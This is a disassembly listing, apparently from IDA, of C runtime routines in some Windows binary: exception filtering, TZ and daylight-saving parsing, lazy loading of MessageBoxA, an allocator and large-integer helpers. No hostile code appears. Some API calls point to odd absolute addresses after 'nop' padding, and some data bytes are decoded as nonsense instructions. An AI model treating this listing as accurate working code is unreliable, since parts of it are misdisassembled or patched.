; ---------------------------------------------------------------------------
loc_42469B: ; CODE XREF: sub_42464D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_4246B3
cmp edx, ebx
jnz short loc_4246B3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_4246FE
; ---------------------------------------------------------------------------
loc_4246B3: ; CODE XREF: sub_42464D+52j
; sub_42464D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4246BC: ; CODE XREF: sub_42464D+45j
; sub_42464D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4246D4: ; CODE XREF: sub_42464D+A6j
test ecx, esi
jnz short loc_4246F5
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4246D4
; ---------------------------------------------------------------------------
loc_4246F5: ; CODE XREF: sub_42464D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_4246FE: ; CODE XREF: sub_42464D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42464D endp
; ---------------------------------------------------------------------------
push 2
call sub_41DA29
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42470C proc near ; DATA XREF: ___:0043CF98o
; ___:0043D7F8o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42472F
cmp dword ptr [eax+10h], 3
jnz short loc_42472F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42472F
jmp sub_42255C
; ---------------------------------------------------------------------------
loc_42472F: ; CODE XREF: sub_42470C+Dj
; sub_42470C+13j ...
mov eax, dword_4DBB80
test eax, eax
jz short loc_42474C
push eax
call sub_4247A8
test eax, eax
pop ecx
jz short loc_42474C
push esi
call dword_4DBB80
jmp short loc_42474E
; ---------------------------------------------------------------------------
loc_42474C: ; CODE XREF: sub_42470C+2Aj
; sub_42470C+35j
xor eax, eax
loc_42474E: ; CODE XREF: sub_42470C+3Ej
pop esi
retn 4
sub_42470C endp
; ---------------------------------------------------------------------------
word_424752 dw 0C68h ; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
inc edi
inc edx
add [eax+1FC6D8E8h], dl
add ah, byte ptr dword_4DBB80[ebx]
retn
; ---------------------------------------------------------------------------
byte_424763 db 0FFh ; DATA XREF: ___:00429040o
dd 4DBB8035h, 0C6C7E800h, 0C390021Fh
; =============== S U B R O U T I N E =======================================
sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp
; sub_4222C2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 2620A01h
test eax, eax
jz short loc_424788
xor esi, esi
loc_424788: ; CODE XREF: sub_424770+14j
mov eax, esi
pop esi
retn
sub_424770 endp
; =============== S U B R O U T I N E =======================================
sub_42478C proc near ; CODE XREF: sub_4222C2+73p
; sub_4222C2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 28F08FEh
nop
test eax, eax
jz short loc_4247A4
xor esi, esi
loc_4247A4: ; CODE XREF: sub_42478C+14j
mov eax, esi
pop esi
retn
sub_42478C endp
; =============== S U B R O U T I N E =======================================
sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp
; sub_42470C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 26209B1h
nop
test eax, eax
jz short loc_4247BC
xor esi, esi
loc_4247BC: ; CODE XREF: sub_4247A8+10j
mov eax, esi
pop esi
retn
sub_4247A8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42255C
loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj
push 0Ah
call sub_4235C9
push 16h
call sub_425955
pop ecx
pop ecx
push 3
call sub_41B7C2
; END OF FUNCTION CHUNK FOR sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p
cmp dword_4DBC40, 0
jnz short locret_4247EB
call sub_4247EC
inc dword_4DBC40
locret_4247EB: ; CODE XREF: sub_4247D7+7j
retn
sub_4247D7 endp
; =============== S U B R O U T I N E =======================================
sub_4247EC proc near ; CODE XREF: sub_4247D7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DBB88, ebp
mov dword_43D430, ebx
mov dword_43D420, ebx
call sub_425AC7
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424915
push offset dword_4DBB90
nop
call near ptr 28B0000h
cmp eax, ebx
jz loc_424A44
mov eax, dword_4DBB90
mov ecx, dword_4DBBE4
imul eax, 3Ch
cmp word_4DBBD6, bp
push 1
pop edx
mov dword_43D388, eax
mov dword_4DBB88, edx
jz short loc_424863
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43D388, eax
loc_424863: ; CODE XREF: sub_4247EC+69j
cmp word_4DBC2A, bp
jz short loc_424887
mov eax, dword_4DBC38
cmp eax, ebp
jz short loc_424887
sub eax, ecx
mov dword_43D38C, edx
imul eax, 3Ch
mov dword_43D390, eax
jmp short loc_424893
; ---------------------------------------------------------------------------
loc_424887: ; CODE XREF: sub_4247EC+7Ej
; sub_4247EC+87j
mov dword_43D38C, ebp
mov dword_43D390, ebp
loc_424893: ; CODE XREF: sub_4247EC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_42717C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43D414
push ebx
push offset dword_4DBB94
push edi
push dword_4DBA24
call esi
test eax, eax
jz short loc_4248D0
cmp [esp+14h+var_4], ebp
jnz short loc_4248D0
mov eax, off_43D414
and byte ptr [eax+3Fh], 0
jmp short loc_4248D8
; ---------------------------------------------------------------------------
loc_4248D0: ; CODE XREF: sub_4247EC+D1j
; sub_4247EC+D7j
mov eax, off_43D414
and byte ptr [eax], 0
loc_4248D8: ; CODE XREF: sub_4247EC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43D418
push ebx
push offset dword_4DBBE8
push edi
push dword_4DBA24
call esi
test eax, eax
jz loc_424A3C
cmp [esp+14h+var_4], ebp
jnz loc_424A3C
mov eax, off_43D418
and byte ptr [eax+3Fh], 0
jmp loc_424A44
; ---------------------------------------------------------------------------
loc_424915: ; CODE XREF: sub_4247EC+2Dj
cmp byte ptr [esi], 0
jz loc_424A44
mov eax, dword_4DBC3C
cmp eax, ebp
jz short loc_424938
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_424A44
loc_424938: ; CODE XREF: sub_4247EC+139j
push dword_4DBC3C
call sub_41B0B1
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
add esp, 0Ch
cmp eax, ebp
mov dword_4DBC3C, eax
jz loc_424A44
push esi
push eax
call sub_41BEB0
push 3
push esi
push off_43D414
call sub_41B5F0
mov eax, off_43D414
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42498D
push 1
inc esi
pop edi
loc_42498D: ; CODE XREF: sub_4247EC+19Bj
push esi
call sub_41B6EE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43D388, ecx
loc_4249A4: ; CODE XREF: sub_4247EC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4249B2
cmp al, bl
jl short loc_4249B5
cmp al, 39h
jg short loc_4249B5
loc_4249B2: ; CODE XREF: sub_4247EC+1BCj
inc esi
jmp short loc_4249A4
; ---------------------------------------------------------------------------
loc_4249B5: ; CODE XREF: sub_4247EC+1C0j
; sub_4247EC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
imul eax, 3Ch
pop ecx
mov ecx, dword_43D388
add ecx, eax
mov dword_43D388, ecx
loc_4249D3: ; CODE XREF: sub_4247EC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4249E0
cmp al, 39h
jg short loc_4249E0
inc esi
jmp short loc_4249D3
; ---------------------------------------------------------------------------
loc_4249E0: ; CODE XREF: sub_4247EC+1EBj
; sub_4247EC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
pop ecx
mov ecx, dword_43D388
add ecx, eax
mov dword_43D388, ecx
loc_4249FB: ; CODE XREF: sub_4247EC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424A08
cmp al, 39h
jg short loc_424A08
inc esi
jmp short loc_4249FB
; ---------------------------------------------------------------------------
loc_424A08: ; CODE XREF: sub_4247EC+1CCj
; sub_4247EC+1F7j ...
cmp edi, ebp
jz short loc_424A14
neg ecx
mov dword_43D388, ecx
loc_424A14: ; CODE XREF: sub_4247EC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43D38C, eax
jz short loc_424A3C
push 3
push esi
push off_43D418
call sub_41B5F0
mov eax, off_43D418
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424A44
; ---------------------------------------------------------------------------
loc_424A3C: ; CODE XREF: sub_4247EC+10Bj
; sub_4247EC+115j ...
mov eax, off_43D418
and byte ptr [eax], 0
loc_424A44: ; CODE XREF: sub_4247EC+40j
; sub_4247EC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4247EC endp
; =============== S U B R O U T I N E =======================================
sub_424A4A proc near ; CODE XREF: sub_422669+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43D38C, edi
jnz short loc_424A5E
loc_424A57: ; CODE XREF: sub_424A4A+148j
; sub_424A4A+150j ...
xor eax, eax
jmp loc_424BAA
; ---------------------------------------------------------------------------
loc_424A5E: ; CODE XREF: sub_424A4A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43D420
jnz short loc_424A7C
cmp eax, dword_43D430
jz loc_424B7E
loc_424A7C: ; CODE XREF: sub_424A4A+24j
cmp dword_4DBB88, edi
jz loc_424B54
movzx ecx, word_4DBC36
push ecx
cmp word_4DBC28, di
movzx ecx, word_4DBC34
push ecx
movzx ecx, word_4DBC32
push ecx
movzx ecx, word_4DBC30
push ecx
jnz short loc_424ACE
movzx ecx, word_4DBC2C
push edi
push ecx
movzx ecx, word_4DBC2E
push ecx
movzx ecx, word_4DBC2A
push ecx
push eax
push ebx
jmp short loc_424AE2
; ---------------------------------------------------------------------------
loc_424ACE: ; CODE XREF: sub_424A4A+65j
movzx ecx, word_4DBC2E
push ecx
push edi
movzx ecx, word_4DBC2A
push edi
push ecx
push eax
push edi
loc_424AE2: ; CODE XREF: sub_424A4A+82j
push ebx
call sub_424BF6
movzx eax, word_4DBBE2
add esp, 2Ch
cmp word_4DBBD4, di
push eax
movzx eax, word_4DBBE0
push eax
movzx eax, word_4DBBDE
push eax
movzx eax, word_4DBBDC
push eax
jnz short loc_424B3C
movzx eax, word_4DBBD8
push edi
push eax
movzx eax, word_4DBBDA
push eax
movzx eax, word_4DBBD6
push eax
push dword ptr [esi+14h]
push ebx
loc_424B31: ; CODE XREF: sub_424A4A+108j
push edi
call sub_424BF6
add esp, 2Ch
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B3C: ; CODE XREF: sub_424A4A+C8j
movzx eax, word_4DBBDA
push eax
push edi
movzx eax, word_4DBBD6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424B31
; ---------------------------------------------------------------------------
loc_424B54: ; CODE XREF: sub_424A4A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424BF6
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424BF6
add esp, 58h
loc_424B7E: ; CODE XREF: sub_424A4A+2Cj
; sub_424A4A+F0j
mov edx, dword_43D424
mov eax, dword_43D434
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424BAE
cmp ecx, edx
jl loc_424A57
cmp ecx, eax
jg loc_424A57
cmp ecx, edx
jle short loc_424BC2
cmp ecx, eax
jge short loc_424BC2
loc_424BA8: ; CODE XREF: sub_424A4A+166j
; sub_424A4A+16Aj
mov eax, ebx
loc_424BAA: ; CODE XREF: sub_424A4A+Fj
; sub_424A4A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424BAE: ; CODE XREF: sub_424A4A+144j
cmp ecx, eax
jl short loc_424BA8
cmp ecx, edx
jg short loc_424BA8
cmp ecx, eax
jle short loc_424BC2
cmp ecx, edx
jl loc_424A57
loc_424BC2: ; CODE XREF: sub_424A4A+158j
; sub_424A4A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424BE9
xor ecx, ecx
cmp eax, dword_43D428
setnl cl
loc_424BE5: ; CODE XREF: sub_424A4A+1AAj
mov eax, ecx
jmp short loc_424BAA
; ---------------------------------------------------------------------------
loc_424BE9: ; CODE XREF: sub_424A4A+18Ej
xor ecx, ecx
cmp eax, dword_43D438
setl cl
jmp short loc_424BE5
sub_424A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p
; sub_424A4A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424C91
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424C21
shl esi, 2
mov eax, dword_43D438[esi]
jmp short loc_424C2A
; ---------------------------------------------------------------------------
loc_424C21: ; CODE XREF: sub_424BF6+1Ej
shl esi, 2
mov eax, dword_43D46C[esi]
loc_424C2A: ; CODE XREF: sub_424BF6+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_424C64
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424C6E
; ---------------------------------------------------------------------------
loc_424C64: ; CODE XREF: sub_424BF6+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424C6E: ; CODE XREF: sub_424BF6+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424CAC
cmp [ebp+arg_8], 0
jnz short loc_424C82
mov esi, dword_43D43C[esi]
jmp short loc_424C88
; ---------------------------------------------------------------------------
loc_424C82: ; CODE XREF: sub_424BF6+82j
mov esi, dword_43D470[esi]
loc_424C88: ; CODE XREF: sub_424BF6+8Aj
cmp ecx, esi
jle short loc_424CAC
sub ecx, 7
jmp short loc_424CAC
; ---------------------------------------------------------------------------
loc_424C91: ; CODE XREF: sub_424BF6+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424CA2
mov ecx, dword_43D438[eax*4]
jmp short loc_424CA9
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424BF6+A1j
mov ecx, dword_43D46C[eax*4]
loc_424CA9: ; CODE XREF: sub_424BF6+AAj
add ecx, [ebp+arg_18]
loc_424CAC: ; CODE XREF: sub_424BF6+7Cj
; sub_424BF6+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424CDD
mov eax, [ebp+arg_1C]
mov dword_43D424, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43D420, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43D428, eax
jmp short loc_424D32
; ---------------------------------------------------------------------------
loc_424CDD: ; CODE XREF: sub_424BF6+BAj
mov eax, [ebp+arg_1C]
mov dword_43D434, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43D390
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43D438, eax
jns short loc_424D15
add eax, 5265C00h
dec ecx
mov dword_43D438, eax
jmp short loc_424D26
; ---------------------------------------------------------------------------
loc_424D15: ; CODE XREF: sub_424BF6+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424D2C
sub eax, edx
inc ecx
mov dword_43D438, eax
loc_424D26: ; CODE XREF: sub_424BF6+11Dj
mov dword_43D434, ecx
loc_424D2C: ; CODE XREF: sub_424BF6+126j
mov dword_43D430, ebx
loc_424D32: ; CODE XREF: sub_424BF6+E5j
pop esi
pop ebx
pop ebp
retn
sub_424BF6 endp
; =============== S U B R O U T I N E =======================================
sub_424D36 proc near ; CODE XREF: ___:00422E9Dp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424D47
add esp, 0Ch
retn
sub_424D36 endp
; =============== S U B R O U T I N E =======================================
sub_424D47 proc near ; CODE XREF: sub_424D36+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DCEC1[eax], cl
jnz short loc_424D74
cmp [esp+arg_4], 0
jz short loc_424D6D
movzx eax, word_43C9E2[eax*2]
and eax, [esp+arg_4]
jmp short loc_424D6F
; ---------------------------------------------------------------------------
loc_424D6D: ; CODE XREF: sub_424D47+16j
xor eax, eax
loc_424D6F: ; CODE XREF: sub_424D47+24j
test eax, eax
jnz short loc_424D74
retn
; ---------------------------------------------------------------------------
loc_424D74: ; CODE XREF: sub_424D47+Fj
; sub_424D47+2Aj
push 1
pop eax
retn
sub_424D47 endp
; =============== S U B R O U T I N E =======================================
sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBC44, ebx
push esi
push edi
jnz short loc_424DC7
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26E0000h
mov edi, eax
cmp edi, ebx
jz short loc_424DFD
mov esi, dword_4270BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DBC44, eax
jz short loc_424DFD
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBC48, eax
call esi
mov dword_4DBC4C, eax
loc_424DC7: ; CODE XREF: sub_424D78+Bj
mov eax, dword_4DBC48
test eax, eax
jz short loc_424DE6
call eax
mov ebx, eax
test ebx, ebx
jz short loc_424DE6
mov eax, dword_4DBC4C
test eax, eax
jz short loc_424DE6
push ebx
call eax
mov ebx, eax
loc_424DE6: ; CODE XREF: sub_424D78+56j
; sub_424D78+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBC44
loc_424DF9: ; CODE XREF: sub_424D78+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424DFD: ; CODE XREF: sub_424D78+1Cj
; sub_424D78+33j
xor eax, eax
jmp short loc_424DF9
sub_424D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E01 proc near ; CODE XREF: sub_423936+22p
; sub_423936+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_424E22
test esi, esi
jnz short loc_424E1C
push 1
pop esi
loc_424E1C: ; CODE XREF: sub_424E01+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424E22: ; CODE XREF: sub_424E01+12j
; sub_424E01+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424E81
mov eax, dword_4DCFE8
cmp eax, 3
jnz short loc_424E4D
mov eax, [ebp+arg_0]
cmp eax, dword_4DCFE0
ja short loc_424E6C
push eax
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424E97
jmp short loc_424E6C
; ---------------------------------------------------------------------------
loc_424E4D: ; CODE XREF: sub_424E01+30j
cmp eax, 2
jnz short loc_424E6C
cmp esi, dword_43C9D4
ja short loc_424E6C
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424EAB
loc_424E6C: ; CODE XREF: sub_424E01+3Bj
; sub_424E01+4Aj ...
push esi
push 8
push dword_4DCFE4
nop
call near ptr 27E0000h
mov edi, eax
test edi, edi
jnz short loc_424EA5
loc_424E81: ; CODE XREF: sub_424E01+26j
cmp dword_4DB9DC, 0
jz short loc_424EA5
push esi
call sub_41F312
test eax, eax
pop ecx
jz short loc_424EAE
jmp short loc_424E22
; ---------------------------------------------------------------------------
loc_424E97: ; CODE XREF: sub_424E01+48j
push [ebp+arg_0]
loc_424E9A: ; CODE XREF: sub_424E01+ABj
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_424EA5: ; CODE XREF: sub_424E01+7Ej
; sub_424E01+87j
mov eax, edi
loc_424EA7: ; CODE XREF: sub_424E01+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E01+69j
push esi
jmp short loc_424E9A
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424E01+92j
xor eax, eax
jmp short loc_424EA7
sub_424E01 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239DB
loc_424EB2: ; CODE XREF: sub_4239DB+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DCC80, esi
jle short loc_424F05
loc_424EC1: ; CODE XREF: sub_4239DB+1528j
mov eax, dword_4DBC78
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424EFC
test byte ptr [eax+0Ch], 83h
jz short loc_424EE0
push eax
call sub_41B05B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424EE0
inc edi
loc_424EE0: ; CODE XREF: sub_4239DB+14F6j
; sub_4239DB+1502j
cmp esi, 14h
jl short loc_424EFC
mov eax, dword_4DBC78
push dword ptr [eax+esi*4]
call sub_41B0B1
mov eax, dword_4DBC78
pop ecx
and dword ptr [eax+esi*4], 0
loc_424EFC: ; CODE XREF: sub_4239DB+14F0j
; sub_4239DB+1508j
inc esi
cmp esi, dword_4DCC80
jl short loc_424EC1
loc_424F05: ; CODE XREF: sub_4239DB+14E4j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4239DB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F0A proc near ; CODE XREF: sub_423A33+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DCDA0
jnb loc_42503F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCCA0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42503F
push 1
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425049
push 2
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425049
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_424FEC
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41B590
push 8000h
push ebx
call sub_425B44
add esp, 14h
mov [ebp+arg_4], eax
loc_424FA0: ; CODE XREF: sub_424F0A+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_424FAB
mov eax, edi
loc_424FAB: ; CODE XREF: sub_424F0A+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424FC9
sub edi, eax
test edi, edi
jle short loc_424FDF
jmp short loc_424FA0
; ---------------------------------------------------------------------------
loc_424FC9: ; CODE XREF: sub_424F0A+B5j
cmp dword_4DB95C, 5
jnz short loc_424FDC
mov dword_4DB958, 0Dh
loc_424FDC: ; CODE XREF: sub_424F0A+C6j
or esi, 0FFFFFFFFh
loc_424FDF: ; CODE XREF: sub_424F0A+BBj
push [ebp+arg_4]
push ebx
call sub_425B44
pop ecx
pop ecx
jmp short loc_42502C
; ---------------------------------------------------------------------------
loc_424FEC: ; CODE XREF: sub_424F0A+71j
jge short loc_42502C
push 0
push [ebp+arg_4]
push ebx
call sub_42272B
push ebx
call sub_4238A2
add esp, 10h
push eax
nop
call near ptr 2620000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42502C
mov dword_4DB958, 0Dh
nop
call near ptr 26B0857h
mov dword_4DB95C, eax
loc_42502C: ; CODE XREF: sub_424F0A+E0j
; sub_424F0A:loc_424FECj ...
push 0
push [ebp+arg_0]
push ebx
call sub_42272B
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42504C
; ---------------------------------------------------------------------------
loc_42503F: ; CODE XREF: sub_424F0A+1Aj
; sub_424F0A+36j
mov dword_4DB958, 9
loc_425049: ; CODE XREF: sub_424F0A+4Ej
; sub_424F0A+63j
or eax, 0FFFFFFFFh
loc_42504C: ; CODE XREF: sub_424F0A+133j
pop esi
pop ebx
leave
retn
sub_424F0A endp
; =============== S U B R O U T I N E =======================================
sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp
; sub_4241CF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425066
cmp ecx, esi
jnb short loc_425069
loc_425066: ; CODE XREF: sub_425050+10j
push 1
pop eax
loc_425069: ; CODE XREF: sub_425050+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425050 endp
; =============== S U B R O U T I N E =======================================
sub_425071 proc near ; CODE XREF: sub_42512A+40p
; sub_42512A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
inc dword ptr [esi+8]
loc_4250A3: ; CODE XREF: sub_425071+19j
; sub_425071+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250BB
inc dword ptr [esi+8]
loc_4250BB: ; CODE XREF: sub_425071+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
pop edi
pop esi
retn
sub_425071 endp
; =============== S U B R O U T I N E =======================================
sub_4250CF proc near ; CODE XREF: sub_42512A+30p
; sub_42512A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4250CF endp
; =============== S U B R O U T I N E =======================================
sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p
; sub_425BBA+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4250FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
